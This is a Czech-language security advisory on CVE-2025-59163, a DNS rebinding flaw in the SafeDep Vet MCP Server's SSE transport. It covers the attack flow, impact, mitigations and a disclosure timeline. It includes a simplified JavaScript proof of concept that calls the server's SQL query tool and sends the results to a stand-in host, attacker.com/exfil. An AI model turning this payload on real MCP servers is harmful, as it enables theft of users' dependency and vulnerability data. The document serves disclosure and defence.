Zranitelnost DNS rebinding v transportu SSE serveru Vet MCP
Autor: Evan Harris
Riziko: Nízké (CVSS 2.1/10)
Dotčená komponenta: SafeDep Vet MCP Server
ID CVE: CVE-2025-59163
Dotčené verze: < v1.12.5
Opravené verze: v1.12.5
Přehled
SafeDep Vet MCP Server je při provozu s transportem SSE zranitelný útoky typu DNS rebinding. Zranitelnost pramení z chybějící validace HTTP hlaviček Host a Origin, což škodlivým webům umožňuje obejít ochrany Same-Origin Policy a provádět neoprávněná volání nástrojů proti instancím Vet MCP.
Jakmile je DNS rebinding úspěšný, útočník může navázat relaci s koncovým bodem /sse, volat povolené nástroje MCP a exfiltrovat obsah uživatelovy SQLite databáze Vet na server ovládaný útočníkem.
Tým SafeDep na toto oznámení reagoval bez prodlení a během několika dní vydal opravenou verzi (v1.12.5), která zavádí validaci hlaviček Host a Origin pomocí seznamu povolených.
Stejným způsobem selhávají i další nástroje popsané na tomto webu: Neo4j MCP Cypher Server je zranitelný převzetím databáze pomocí DNS rebindingu a Server MCP Verify od Klusteru vystavuje uživatele vyčerpání kreditů.
Technické podrobnosti
Zranitelnost
Když server Vet MCP běží s transportem SSE (--server-type sse), vystavuje HTTP koncový bod, který přijímá připojení z libovolného původu. Serveru chybí validace:
- HTTP hlavičky Host - umožňuje požadavky, které tvrdí, že pocházejí z libovolné domény
- HTTP hlavičky Origin - povoluje požadavky napříč původy (cross-origin) ze škodlivých webů
Tato chybějící validace umožňuje útoky typu DNS rebinding, při nichž:
- Útočník ovládá doménu se záznamy DNS s velmi nízkou hodnotou TTL
- Oběť navštíví útočníkův web (např.
attacker.com) - Útočníkův JavaScript se zpočátku přeloží na IP adresu útočníka
- Poté, co prohlížeč oběti uloží připojení do mezipaměti, se záznam DNS změní na
127.0.0.1 - Následné požadavky z
attacker.comnyní míří na localhost oběti - Same-Origin Policy prohlížeče je obejita, protože původ zůstává
attacker.com
Zranitelná konfigurace
Útok vyžaduje následující podmínky:
- Je proveden sken Vet a reporty se ukládají do databáze
- Server Vet MCP běží s povoleným transportem SSE
- Útočník naláká oběť na web ovládaný útočníkem
Vektor útoku
Útočník využívá DNS rebinding k tomu, aby:
- Navázal připojení k
http://127.0.0.1:9988/sse - Získal platné ID relace MCP
- Inicializoval relaci MCP
- Zavolal nástroj
vet_query_execute_sql_querys libovolnými čtecími SQL dotazy - Přijímal odpovědi prostřednictvím streamu SSE
- Exfiltroval data na server ovládaný útočníkem
Scénář útoku
Nastavení oběti
Bezpečnostní výzkumník nebo vývojář:
- Nainstaluje Vet pro skenování zranitelností v závislostech
- Spustí sken:
vet scan -D /path/to/project - Spustí server MCP s transportem SSE:
./vet server mcp --server-type sse --sql-query-tool --sql-query-tool-db-path ./vet_scan.db - Server se ve výchozím nastavení naváže na
127.0.0.1:9988
Zneužití útočníkem
Útočník připraví infrastrukturu pro DNS rebinding:
- Nastaví server DNS se zástupnými (wildcard) záznamy pro doménu (např.
rebinder.attacker.com) - Nakonfiguruje server DNS tak, aby nejprve vracel IP adresu útočníka a poté provedl rebinding na
127.0.0.1 - Hostuje škodlivý web s JavaScriptem, který:
- Detekuje, kdy je DNS rebinding úspěšný
- Připojí se ke koncovému bodu SSE serveru Vet na adrese
http://127.0.0.1:9988/sse - Naváže relaci MCP
- Volá SQL dotazy proti databázi oběti
- Exfiltruje výsledky
Průběh zneužití
// Attacker's malicious payload (simplified)
const eventSource = new EventSource(`http://${window.location.hostname}:9988/sse`);
eventSource.onmessage = (event) => {
if (event.data.includes('sessionId')) {
const sessionId = extractSessionId(event.data);
const endpoint = `http://${window.location.hostname}:9988/message?sessionId=${sessionId}`;
// Initialize MCP session
fetch(endpoint, {
method: 'POST',
body: JSON.stringify({ method: 'initialize' })
});
// Execute SQL query
fetch(endpoint, {
method: 'POST',
body: JSON.stringify({
jsonrpc: '2.0',
method: 'tools/call',
params: {
name: 'vet_query_execute_sql_query',
arguments: { sql: 'SELECT * FROM report_packages' }
}
})
});
} else {
// Exfiltrate data received via SSE
fetch('https://attacker.com/exfil', {
method: 'POST',
body: event.data
});
}
};
Oběť stačí, aby navštívila útočníkův web (např. prostřednictvím odkazu v phishingovém e-mailu, kompromitované reklamy nebo škodlivého GitHub issue), zatímco její server Vet MCP běží.
Posouzení dopadu
Narušení důvěrnosti
Primární dopad:
- Úplný čtecí přístup k SQLite databázi skenů Vet prostřednictvím nástroje
vet_query_execute_sql_query - Vyzrazení informací o zranitelnostech balíčků, včetně:
- Názvů a verzí používaných balíčků
- Známých CVE ovlivňujících závislosti oběti
- Skóre závažnosti a podrobností o zranitelnostech
- Zpravodajských informací o dodavatelském řetězci softwaru
Zesílení rizika:
- Útočníci získávají informace o zranitelných balíčcích v prostředí oběti
- Závislosti a verze balíčků odhalují podrobnosti o technologickém stacku
- Tyto informace lze využít k vytvoření cílených exploitů
Požadavky útoku
Faktory omezující zneužitelnost:
- Vyžadována aktivní interakce uživatele: Oběť musí navštívit škodlivý web
- Časové okno: Server Vet MCP musí aktivně běžet s transportem SSE
- Konfigurační požadavek: Oběť musí server výslovně spustit s parametrem
--server-type sse(nikoli s výchozím transportem stdio) - Založeno na prohlížeči: Útok vyžaduje moderní prohlížeč s podporou EventSource
Tyto faktory přispívají k hodnocení nízké závažnosti (CVSS 2.1/10) navzdory potenciálu exfiltrace dat.
Doporučená zmírnění
Pro uživatele (okamžitě)
- Aktualizujte na v1.12.5 nebo novější:
# Download the latest release wget https://github.com/safedep/vet/releases/download/v1.12.5/vet_Linux_x86_64.tar.gz tar -xzf vet_Linux_x86_64.tar.gz ./vet --version # Verify v1.12.5 or later - Používejte transport stdio (výchozí):
# Avoid using --server-type sse unless necessary ./vet server mcp --sql-query-tool --sql-query-tool-db-path ./vet_scan.db - Izolace sítě:
- Provozujte server MCP pouze v důvěryhodných sítích
- Použijte pravidla firewallu k omezení přístupu na port 9988
- Vyhněte se procházení nedůvěryhodných webů, zatímco server běží
Pro vývojáře
Zavedeno ve v1.12.5:
- Validace hlavičky Host pomocí seznamu povolených
- Validace hlavičky Origin k zabránění požadavkům napříč původy
- Odmítnutí požadavků s neplatnými nebo chybějícími bezpečnostními hlavičkami
Osvědčené postupy pro implementace serverů MCP:
- Vždy validujte hlavičky Host a Origin u transportů založených na HTTP
- Ve výchozím nastavení se navazujte pouze na localhost (
127.0.0.1) namísto0.0.0.0 - Upřednostňujte transport stdio před transporty založenými na síti, kdykoli je to možné
- Dokumentujte bezpečnostní důsledky různých režimů transportu
- Zaveďte přísné zásady CORS
Časová osa oznámení
- 2025-08-30: Počáteční hlášení zranitelnosti odesláno společnosti SafeDep
- 2025-09-01: SafeDep potvrzuje přijetí hlášení
- 2025-09-02: SafeDep zakládá pull request s opravou zavádějící validaci hlaviček
- 2025-09-05: Vydána opravená verze v1.12.5
- 2025-09-29: Zveřejněno GitHub Security Advisory, koordinované datum zveřejnění potvrzeno oběma stranami
- 2025-10-06: Zveřejněno technické bezpečnostní upozornění
Závěr
Zranitelnost DNS rebinding v serveru Vet MCP ukazuje důležité bezpečnostní hledisko pro implementace MCP: transporty založené na síti vyžadují pečlivou validaci bezpečnostních HTTP hlaviček, aby se zabránilo útokům napříč původy.
Ačkoli útok vyžaduje specifické podmínky (aktivní server MCP s transportem SSE, oběť navštěvující škodlivý web, časové okno), potenciál exfiltrace dat ospravedlnil zodpovědné oznámení a opravu.
Reakce společnosti SafeDep je příkladem zodpovědných bezpečnostních postupů:
- Okamžité potvrzení hlášení
- Rychlý vývoj a vydání opravy (5 dní od hlášení do vydání)
- Koordinované zveřejnění prostřednictvím GitHub Security Advisory
- Jasná komunikace v průběhu celého procesu
Všichni uživatelé provozující server Vet MCP s transportem SSE by měli okamžitě aktualizovat na v1.12.5. Pro většinu případů použití poskytuje výchozí transport stdio bezpečnější alternativu.